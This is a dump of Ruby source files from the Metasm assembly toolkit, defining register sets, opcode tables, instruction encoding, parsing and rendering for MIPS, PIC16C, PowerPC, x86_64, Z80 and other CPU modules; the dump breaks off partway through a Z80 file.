-------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | require 'metasm/cpu/mips/parse' 7 | require 'metasm/compile_c' 8 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/mips/debug.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | 9 | module Metasm 10 | class MIPS 11 | def dbg_register_pc 12 | @dbg_register_pc ||= :pc 13 | end 14 | def dbg_register_flags 15 | @dbg_register_flags ||= :flags 16 | end 17 | 18 | def dbg_register_list 19 | @dbg_register_list ||= %w[z0 at v0 v1 a0 a1 a2 a3 20 | t0 t1 t2 t3 t4 t5 t6 t7 21 | s0 s1 s2 s3 s4 s5 s6 s7 22 | t8 t9 k0 k1 gp sp fp ra 23 | sr mullo mulhi badva cause pc].map { |r| r.to_sym } 24 | end 25 | 26 | def dbg_flag_list 27 | @dbg_flag_list ||= [] 28 | end 29 | 30 | def dbg_register_size 31 | @dbg_register_size ||= Hash.new(@size) 32 | end 33 | 34 | def dbg_need_stepover(dbg, addr, di) 35 | di and di.opcode.props[:saveip] 36 | end 37 | 38 | def dbg_end_stepout(dbg, addr, di) 39 | di and di.opcode.name == 'foobar' # TODO 40 | end 41 | end 42 | end 43 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/mips/encode.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/mips/opcodes' 8 | require 'metasm/encode' 9 | 10 | module Metasm 11 | class MIPS 12 | private 13 | def encode_instr_op(exe, instr, op) 14 | base = op.bin 15 | set_field = lambda { |f, v| 16 | base |= (v & @fields_mask[f]) << @fields_shift[f] 17 | } 18 | 19 | val, mask, shift = 0, 0, 0 20 | 21 | # convert label name for jmp/call/loop to relative offset 22 | if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression 23 | postlabel = exe.new_label('jmp_offset') 24 | instr = instr.dup 25 | if op.args.include? :i26 26 | pl = Expression[postlabel, :&, 0xfc00_0000] 27 | else 28 | pl = postlabel 29 | end 30 | instr.args[-1] = Expression[[instr.args[-1], :-, pl], :>>, 2] 31 | postdata = EncodedData.new '', :export => {postlabel => 0} 32 | else 33 | postdata = '' 34 | end 35 | 36 | op.args.zip(instr.args).each { |sym, arg| 37 | case sym 38 | when :rs, :rt, :rd, :ft 39 | set_field[sym, arg.i] 40 | when :rs_i16 41 | set_field[:rs, arg.base.i] 42 | val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] 43 | when :sa, :i16, :i20, :i26 44 | val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] 45 | end 46 | } 47 | 48 | Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata 49 | end 50 | end 51 | end 52 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/mips/main.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | 9 | module Metasm 10 | class MIPS < CPU 11 | class Reg 12 | class << self 13 | attr_accessor :s_to_i, :i_to_s 14 | end 15 | @s_to_i = {} 16 | @i_to_s = {} 17 | (0..31).each { |i| @s_to_i["r#{i}"] = @s_to_i["$r#{i}"] = @s_to_i["$#{i}"] = i } 18 | %w[zero at v0 v1 a0 a1 a2 a3 19 | t0 t1 t2 t3 t4 t5 t6 t7 20 | s0 s1 s2 s3 s4 s5 s6 s7 21 | t8 t9 k0 k1 gp sp fp ra].each_with_index { |r, i| @s_to_i[r] = @s_to_i['$'+r] = i ; @i_to_s[i] = '$'+r } 22 | 23 | attr_accessor :i 24 | def initialize(i) 25 | @i = i 26 | end 27 | 28 | Sym = @i_to_s.sort.map { |k, v| v.to_sym } 29 | def symbolic ; @i == 0 ? 0 : Sym[@i] end 30 | end 31 | 32 | class FpReg 33 | class << self 34 | attr_accessor :s_to_i, :i_to_s 35 | end 36 | @i_to_s = (0..31).map { |i| "$f#{i}" } 37 | @s_to_i = (0..31).inject({}) { |h, i| h.update "f#{i}" => i, "$f#{i}" => i } 38 | 39 | attr_accessor :i 40 | def initialize(i) 41 | @i = i 42 | end 43 | end 44 | 45 | class Memref 46 | attr_accessor :base, :offset, :sz 47 | def initialize(base, offset, sz=32) 48 | @base, @offset, @sz = base, offset, sz 49 | end 50 | 51 | def symbolic(orig) 52 | p = nil 53 | p = Expression[p, :+, @base.symbolic] if base 54 | p = Expression[p, :+, @offset] if offset 55 | Indirection[p.reduce, @sz/8, orig] 56 | end 57 | end 58 | 59 | def initialize(endianness = :big, family = :latest) 60 | super() 61 | @endianness = endianness 62 | @size = 32 63 | @family = family 64 | end 65 | 66 | def init_opcode_list 67 | send("init_#@family") 68 | @opcode_list 69 | end 70 | end 71 | 72 | class MIPS64 < MIPS 73 | def initialize(endianness = :big, family = :latest) 74 | super(endianness, family) 75 | @size = 64 76 | end 77 | end 78 | end 79 | 80 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/mips/parse.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/mips/opcodes' 8 | require 'metasm/parse' 9 | 10 | module Metasm 11 | class MIPS 12 | def parse_arg_valid?(op, sym, arg) 13 | # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32 ori t0 down imm32 add t0, reg lw reg, 0(t0) 14 | case sym 15 | when :rs, :rt, :rd; arg.kind_of? Reg 16 | when :sa, :i16, :i20, :i26; arg.kind_of? Expression 17 | when :rs_i16; arg.kind_of? Memref 18 | when :ft; arg.kind_of? FpReg 19 | else raise "internal error: mips arg #{sym.inspect}" 20 | end 21 | end 22 | 23 | def parse_argument(pgm) 24 | pgm.skip_space 25 | return if not tok = pgm.nexttok 26 | if tok.type == :string and Reg.s_to_i[tok.raw] 27 | pgm.readtok 28 | arg = Reg.new Reg.s_to_i[tok.raw] 29 | elsif tok.type == :string and FpReg.s_to_i[tok.raw] 30 | pgm.readtok 31 | arg = FpReg.new FpReg.s_to_i[tok.raw] 32 | else 33 | arg = Expression.parse pgm 34 | pgm.skip_space 35 | # check memory indirection: 'off(base reg)' # XXX scaled index ? 36 | if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' 37 | pgm.readtok 38 | pgm.skip_space_eol 39 | ntok = pgm.readtok 40 | raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw] 41 | base = Reg.new Reg.s_to_i[ntok.raw] 42 | pgm.skip_space_eol 43 | ntok = pgm.readtok 44 | raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' 45 | arg = Memref.new base, arg 46 | end 47 | end 48 | arg 49 | end 50 | end 51 | end 52 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/mips/render.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/mips/opcodes' 8 | require 'metasm/render' 9 | 10 | module Metasm 11 | class MIPS 12 | class Reg 13 | include Renderable 14 | def render ; [self.class.i_to_s[@i]] end 15 | end 16 | class FpReg 17 | include Renderable 18 | def render ; [self.class.i_to_s[@i]] end 19 | end 20 | class Memref 21 | include Renderable 22 | def render ; [@offset, '(', @base, ')'] end 23 | end 24 | 25 | def render_instruction(i) 26 | r = [] 27 | r << i.opname 28 | if not i.args.empty? 29 | r << ' ' 30 | if (a = i.args.first).kind_of? Expression and a.op == :- and a.lexpr.kind_of? String and a.rexpr.kind_of? String and opcode_list_byname[i.opname].first.props[:setip] 31 | # jmp foo is stored as jmp foo - bar ; bar: 32 | r << a.lexpr 33 | else 34 | i.args.each { |a_| 35 | r << a_ << ', ' 36 | } 37 | r.pop 38 | end 39 | end 40 | r 41 | end 42 | end 43 | end 44 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/pic16c/decode.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/pic16c/opcodes' 8 | require 'metasm/decode' 9 | 10 | module Metasm 11 | class Pic16c 12 | def build_opcode_bin_mask(op) 13 | # bit = 0 if can be mutated by an field value, 1 if fixed by opcode 14 | op.bin_mask = Array.new(op.bin.length, 0) 15 | op.fields.each { |f, (oct, off)| 16 | op.bin_mask[oct] |= (@fields_mask[f] << off) 17 | } 18 | op.bin_mask.map! { |v| 255 ^ v } 19 | end 20 | 21 | def build_bin_lookaside 22 | # sets up a hash byte value => list of opcodes that may match 23 | # opcode.bin_mask is built here 24 | lookaside = Array.new(256) { [] } 25 | @opcode_list.each { |op| 26 | 27 | build_opcode_bin_mask op 28 | 29 | b = op.bin[0] 30 | msk = op.bin_mask[0] 31 | 32 | 33 | for i in b..(b | (255^msk)) 34 | ext if i & msk != b & msk 35 | 36 | lookaside[i] << op 37 | end 38 | } 39 | lookaside 40 | end 41 | end 42 | end 43 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/pic16c/main.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | 9 | module Metasm 10 | class Pic16c < CPU 11 | def initialize(endianness = :big) 12 | super() 13 | @endianness = endianness 14 | init 15 | end 16 | end 17 | end 18 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/pic16c/opcodes.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/pic16c/main' 8 | 9 | module Metasm 10 | class Pic16c 11 | def addop(name, bin, *l) 12 | o = Opcode.new name, bin 13 | l.each { |ll| 14 | if @props_allowed[ll] 15 | o.props[ll] = true 16 | else 17 | o.args << ll 18 | o.fields[ll] = @fields_off[ll] 19 | end 20 | } 21 | @opcode_list << o 22 | end 23 | 24 | def init 25 | @fields_mask = {:f => 0x7f, :b => 0x7, :k => 0xff, :klong => 0x3ff, :d => 1 } 26 | @props_allowed = {:setip => true, :saveip => true, :stopexec => true } 27 | @fields_off = { :f => 0, :b => 7, :k => 0, :klong => 0, :d => 7, :d => 7 } 28 | 29 | addop 'addwf', 0b00_0111_0000_0000, :f, :d 30 | addop 'andwf', 0b00_0101_0000_0000, :f, :d 31 | addop 'clrf', 0b00_0001_1000_0000, :f 32 | addop 'clrw', 0b00_0001_0000_0000 # 00_0001_0xxx_xxxx 33 | addop 'comf', 0b00_1001_0000_0000, :f, :d 34 | addop 'decf', 0b00_0011_0000_0000, :f, :d 35 | addop 'decfsz',0b00_1011_0000_0000, :f, :d 36 | addop 'incf', 0b00_1010_0000_0000, :f, :d 37 | addop 'incfsz',0b00_1111_0000_0000, :f, :d 38 | addop 'iorwf', 0b00_0100_0000_0000, :f, :d 39 | addop 'movf', 0b00_1000_0000_0000, :f, :d 40 | addop 'movwf', 0b00_0000_1000_0000, :f 41 | addop 'nop', 0b00_0000_0000_0000 # 00_0000_0xx0_0000 42 | addop 'rlf', 0b00_1101_0000_0000, :f, :d 43 | addop 'rrf', 0b00_1100_0000_0000, :f, :d 44 | addop 'subwf', 0b00_0010_0000_0000, :f, :d 45 | addop 'swapf', 0b00_1110_0000_0000, :f, :d 46 | addop 'xorwf', 0b00_0110_0000_0000, :f, :d 47 | 48 | addop 'bcf', 0b01_0000_0000_0000, :f, :b 49 | addop 'bsf', 0b01_0100_0000_0000, :f, :b 50 | addop 'btfsc', 0b01_1000_0000_0000, :f, :b, :setip 51 | addop 'btfss', 0b01_1100_0000_0000, :f, :b, :setip 52 | 53 | addop 'addlw', 0b11_1110_0000_0000, :k # 00_000x_0000_0000 54 | addop 'andlw', 0b11_1001_0000_0000, :k 55 | addop 'call', 0b10_0000_0000_0000, :klong, :setip, :stopexec, :saveip 56 | addop 'clrwdt',0b00_0000_0110_0100 57 | addop 'goto', 0b10_1000_0000_0000, :klong, :setip, :stopexec 58 | addop 'iorlw', 0b11_1000_0000_0000, :k 59 | addop 'movlw', 0b11_0000_0000_0000, :k # 00_00xx_0000_0000 60 | addop 'retfie',0b00_0000_0000_1001, :setip, :stopexec 61 | addop 'retlw', 0b11_0100_0000_0000, :k, :setip, :stopexec # 00_00xx_0000_0000 62 | addop 'return',0b00_0000_0000_1000, :setip, :stopexec 63 | addop 'sleep', 0b00_0000_0110_0011 64 | addop 'sublw', 0b11_1100_0000_0000, :k # 00_000x_0000_0000 65 | addop 'xorlw', 0b11_1010_0000_0000, :k 66 | end 67 | end 68 | end 69 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/ppc.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | require 'metasm/cpu/ppc/parse' 9 | require 'metasm/cpu/ppc/encode' 10 | require 'metasm/cpu/ppc/decode' 11 | require 'metasm/cpu/ppc/decompile' 12 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/ppc/encode.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/ppc/opcodes' 8 | require 'metasm/encode' 9 | 10 | module Metasm 11 | class PowerPC 12 | private 13 | def encode_instr_op(exe, instr, op) 14 | base = op.bin 15 | set_field = lambda { |f, v| 16 | base |= (v & @fields_mask[f]) << @fields_shift[f] 17 | } 18 | 19 | val, mask, shift = 0, 0, 0 20 | 21 | # TODO 22 | # convert label name for jmp/call/loop to relative offset 23 | if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression 24 | postlabel = exe.new_label('jmp_offset') 25 | instr = instr.dup 26 | instr.args[-1] = Expression[[instr.args[-1], :-, postlabel], :>>, 2] 27 | postdata = EncodedData.new '', :export => {postlabel => 0} 28 | else 29 | postdata = '' 30 | end 31 | 32 | op.args.zip(instr.args).each { |sym, arg| 33 | case sym 34 | when :rs, :rt, :rd 35 | set_field[sym, arg.i] 36 | when :ft 37 | set_field[sym, arg.i] 38 | when :rs_i16 39 | set_field[:rs, arg.base.i] 40 | val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] 41 | when :sa, :i16, :i20 42 | val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] 43 | when :i26 44 | val, mask, shift = Expression[arg, :>>, 2], @fields_mask[sym], @fields_shift[sym] 45 | end 46 | } 47 | 48 | Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata 49 | end 50 | end 51 | end 52 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/ppc/parse.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/ppc/opcodes' 8 | require 'metasm/parse' 9 | 10 | module Metasm 11 | class PowerPC 12 | # TODO 13 | def parse_arg_valid?(op, sym, arg) 14 | # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32 ori t0 down imm32 add t0, reg lw reg, 0(t0) 15 | case sym 16 | when :rs, :rt, :rd; arg.kind_of? Reg 17 | when :sa, :i16, :i20, :i26; arg.kind_of? Expression 18 | when :rs_i16; arg.kind_of? Memref 19 | when :ft; arg.kind_of? FpReg 20 | else raise "internal error: mips arg #{sym.inspect}" 21 | end 22 | end 23 | 24 | def parse_argument(pgm) 25 | pgm.skip_space 26 | return if not tok = pgm.nexttok 27 | if tok.type == :string and Reg.s_to_i[tok.raw] 28 | pgm.readtok 29 | arg = Reg.new Reg.s_to_i[tok.raw] 30 | elsif tok.type == :string and FpReg.s_to_i[tok.raw] 31 | pgm.readtok 32 | arg = FpReg.new FpReg.s_to_i[tok.raw] 33 | else 34 | arg = Expression.parse pgm 35 | pgm.skip_space 36 | # check memory indirection: 'off(base reg)' # XXX scaled index ? 37 | if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' 38 | pgm.readtok 39 | pgm.skip_space_eol 40 | ntok = pgm.readtok 41 | raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw] 42 | base = Reg.new Reg.s_to_i[ntok.raw] 43 | pgm.skip_space_eol 44 | ntok = pgm.readtok 45 | raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' 46 | arg = Memref.new base, arg 47 | end 48 | end 49 | arg 50 | end 51 | end 52 | end 53 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/python.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2010 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | require 'metasm/cpu/python/decode' 9 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/python/main.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2010 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | require 'metasm/main' 7 | 8 | module Metasm 9 | class Python < CPU 10 | def initialize(prog = nil) 11 | super() 12 | @program = prog 13 | @endianness = (prog.respond_to?(:endianness) ? prog.endianness : :little) 14 | @size = (prog.respond_to?(:size) ? prog.size : 32) 15 | end 16 | 17 | class Var 18 | include Renderable 19 | 20 | attr_accessor :i 21 | 22 | def initialize(i); @i = i end 23 | 24 | def ==(o) 25 | o.class == self.class and o.i == i 26 | end 27 | 28 | def symbolic; "var_#{@i}".to_sym end 29 | 30 | def render 31 | ["var_#@i"] 32 | end 33 | 34 | end 35 | end 36 | end 37 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/sh4.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | require 'metasm/cpu/sh4/decode' 9 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/x86_64.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | class Metasm::X86_64 < Metasm::Ia32 7 | end 8 | 9 | require 'metasm/main' 10 | require 'metasm/cpu/x86_64/parse' 11 | require 'metasm/cpu/x86_64/encode' 12 | require 'metasm/cpu/x86_64/decode' 13 | require 'metasm/cpu/x86_64/render' 14 | require 'metasm/cpu/x86_64/debug' 15 | require 'metasm/cpu/x86_64/compile_c' 16 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/x86_64/debug.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/x86_64/opcodes' 8 | 9 | module Metasm 10 | class X86_64 11 | def dbg_register_pc 12 | @dbg_register_pc ||= :rip 13 | end 14 | def dbg_register_flags 15 | @dbg_register_flags ||= :rflags 16 | end 17 | 18 | def dbg_register_list 19 | @dbg_register_list ||= [:rax, :rbx, :rcx, :rdx, :rsi, :rdi, :rbp, :rsp, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15, :rip] 20 | end 21 | 22 | def dbg_register_size 23 | @dbg_register_size ||= Hash.new(64).update(:cs => 16, :ds => 16, :es => 16, :fs => 16, :gs => 16) 24 | end 25 | 26 | def dbg_func_arg(dbg, argnr) 27 | if dbg.class.name =~ /win/i 28 | list = [:rcx, :rdx, :r8, :r9] 29 | off = 0x20 30 | else 31 | list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] 32 | off = 0 33 | end 34 | if r = list[argnr] 35 | dbg.get_reg_value(r) 36 | else 37 | argnr -= list.length 38 | dbg.memory_read_int(Expression[:esp, :+, off + 8 + 8*argnr]) 39 | end 40 | end 41 | def dbg_func_arg_set(dbg, argnr, arg) 42 | if dbg.class.name =~ /win/i 43 | list = [:rcx, :rdx, :r8, :r9] 44 | off = 0x20 45 | else 46 | list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] 47 | off = 0 48 | end 49 | if r = list[argnr] 50 | dbg.set_reg_value(r, arg) 51 | else 52 | argnr -= list.length 53 | dbg.memory_write_int(Expression[:esp, :+, off + 8 + 8*argnr], arg) 54 | end 55 | end 56 | 57 | # what's left is inherited from Ia32 58 | end 59 | end 60 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/x86_64/parse.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/x86_64/opcodes' 8 | require 'metasm/cpu/x86_64/encode' 9 | require 'metasm/parse' 10 | 11 | module Metasm 12 | class X86_64 13 | def parse_parser_instruction(lexer, instr) 14 | case instr.raw.downcase 15 | when '.mode', '.bits' 16 | if tok = lexer.readtok and tok.type == :string and tok.raw == '64' 17 | lexer.skip_space 18 | raise instr, 'syntax error' if ntok = lexer.nexttok and ntok.type != :eol 19 | else 20 | raise instr, 'invalid cpu mode, 64bit only' 21 | end 22 | else super(lexer, instr) 23 | end 24 | end 25 | 26 | def parse_prefix(i, pfx) 27 | super(i, pfx) or (i.prefix[:sz] = 64 if pfx == 'code64') 28 | end 29 | 30 | # needed due to how ruby inheritance works wrt constants 31 | def parse_argregclasslist 32 | [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] 33 | end 34 | # same inheritance sh*t 35 | def parse_modrm(lex, tok, cpu) 36 | ModRM.parse(lex, tok, cpu) 37 | end 38 | 39 | def parse_instruction_checkproto(i) 40 | # check ah vs rex prefix 41 | return if i.args.find { |a| a.kind_of? Reg and a.sz == 8 and a.val >= 16 and 42 | op = opcode_list.find { |op_| op_.name == i.opname } and 43 | ((not op.props[:auto64] and i.args.find { |aa| aa.respond_to? :sz and aa.sz == 64 }) or 44 | i.args.find { |aa| aa.kind_of? Reg and aa.val >= 8 and aa.val < 16 } or # XXX mov ah, cr12... 45 | i.args.grep(ModRM).find { |aa| (aa.b and aa.b.val >= 8 and aa.b.val < 16) or (aa.i and aa.i.val >= 8 and aa.i.val < 16) }) 46 | } 47 | super(i) 48 | end 49 | 50 | # check if the argument matches the opcode's argument spec 51 | def parse_arg_valid?(o, spec, arg) 52 | return if arg.kind_of? ModRM and ((arg.b and arg.b.val == 16 and arg.i) or (arg.i and arg.i.val == 16 and (arg.b or arg.s != 1))) 53 | return if arg.kind_of? Reg and arg.sz >= 32 and arg.val == 16 # eip/rip only in modrm 54 | return if o.props[:auto64] and arg.respond_to? :sz and arg.sz == 32 55 | # vex c4/c5 56 | return if o.fields[:vex_r] and not o.fields[:vex_b] and (spec == :modrm or spec == :modrmxmm or spec == :modrmymm) and (((arg.kind_of?(SimdReg) or arg.kind_of?(Reg)) and arg.val >= 8) or (arg.kind_of?(ModRM) and ((arg.b and arg.b.val >= 8) or (arg.i and arg.i.val >= 8)))) 57 | if o.name == 'movsxd' 58 | return if not arg.kind_of? Reg and not arg.kind_of? ModRM 59 | arg.sz ||= 32 60 | if spec == :reg 61 | return if not arg.kind_of? Reg 62 | return arg.sz >= 32 63 | else 64 | return arg.sz == 32 65 | end 66 | end 67 | super(o, spec, arg) 68 | end 69 | end 70 | end 71 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/x86_64/render.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/x86_64/opcodes' 8 | require 'metasm/render' 9 | 10 | module Metasm 11 | class X86_64 12 | def gui_hilight_word_regexp_init 13 | ret = {} 14 | 15 | %w[a b c d].each { |r| 16 | ret["#{r}l"] = "[re]?#{r}x|#{r}l" 17 | ret["#{r}h"] = "[re]?#{r}x|#{r}h" 18 | ret["#{r}x"] = ret["e#{r}x"] = ret["r#{r}x"] = "[re]?#{r}x|#{r}[hl]" 19 | } 20 | 21 | %w[sp bp si di].each { |r| 22 | ret["#{r}l"] = ret[r] = ret["e#{r}"] = ret["r#{r}"] = "[re]?#{r}|#{r}l" 23 | } 24 | 25 | (8..15).each { |i| 26 | r = "r#{i}" 27 | ret[r+'b'] = ret[r+'w'] = ret[r+'d'] = ret[r] = "#{r}[bwd]?" 28 | } 29 | 30 | ret['eip'] = ret['rip'] = '[re]ip' 31 | 32 | ret 33 | end 34 | end 35 | end 36 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/z80.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | require 'metasm/cpu/z80/decode' 9 | require 'metasm/cpu/z80/render' 10 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/z80/main.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | 9 | module Metasm 10 | class Z80 < CPU 11 | class Reg 12 | class << self 13 | attr_accessor :s_to_i, :i_to_s 14 | end 15 | @i_to_s = { 8 => { 0 => 'B', 1 => 'C', 2 => 'D', 3 => 'E', 16 | 4 => 'H', 5 => 'L', 7 => 'A' }, 17 | 16 => { 0 => 'BC', 1 => 'DE', 2 => 'HL', 3 => 'SP', 18 | 4 => 'AF' } } # AF is 3 too 19 | @s_to_i = @i_to_s.inject({}) { |h, (sz, rh)| 20 | h.update rh.inject({}) { |hh, (i, n)| 21 | hh.update n => [sz, i] } } 22 | 23 | attr_accessor :sz, :i 24 | def initialize(sz, i) 25 | @sz = sz 26 | @i = i 27 | end 28 | 29 | def symbolic(orig=nil) ; to_s.to_sym ; end 30 | 31 | def self.from_str(s) 32 | raise "Bad name #{s.inspect}" if not x = @s_to_i[s] 33 | new(*x) 34 | end 35 | end 36 | 37 | class Memref 38 | attr_accessor :base, :offset, :sz 39 | def initialize(base, offset, sz=nil) 40 | @base = base 41 | offset = Expression[offset] if offset 42 | @offset = offset 43 | @sz = sz 44 | end 45 | 46 | def symbolic(orig) 47 | p = nil 48 | p = Expression[p, :+, @base.symbolic] if base 49 | p = Expression[p, :+, @offset] if offset 50 | Indirection[p.reduce, @sz, orig] 51 | end 52 | end 53 | 54 | def initialize(family = :latest) 55 | super() 56 | @endianness = :little 57 | @size = 16 58 | @family = family 59 | end 60 | 61 | def init_opcode_list 62 | send("init_#@family") 63 | @opcode_list 64 | end 65 | end 66 | end 67 | 68 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/cpu/z80/render.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/cpu/z80/opcodes' 8 | require 'metasm/render' 9 | 10 | module Metasm 11 | class Z80 12 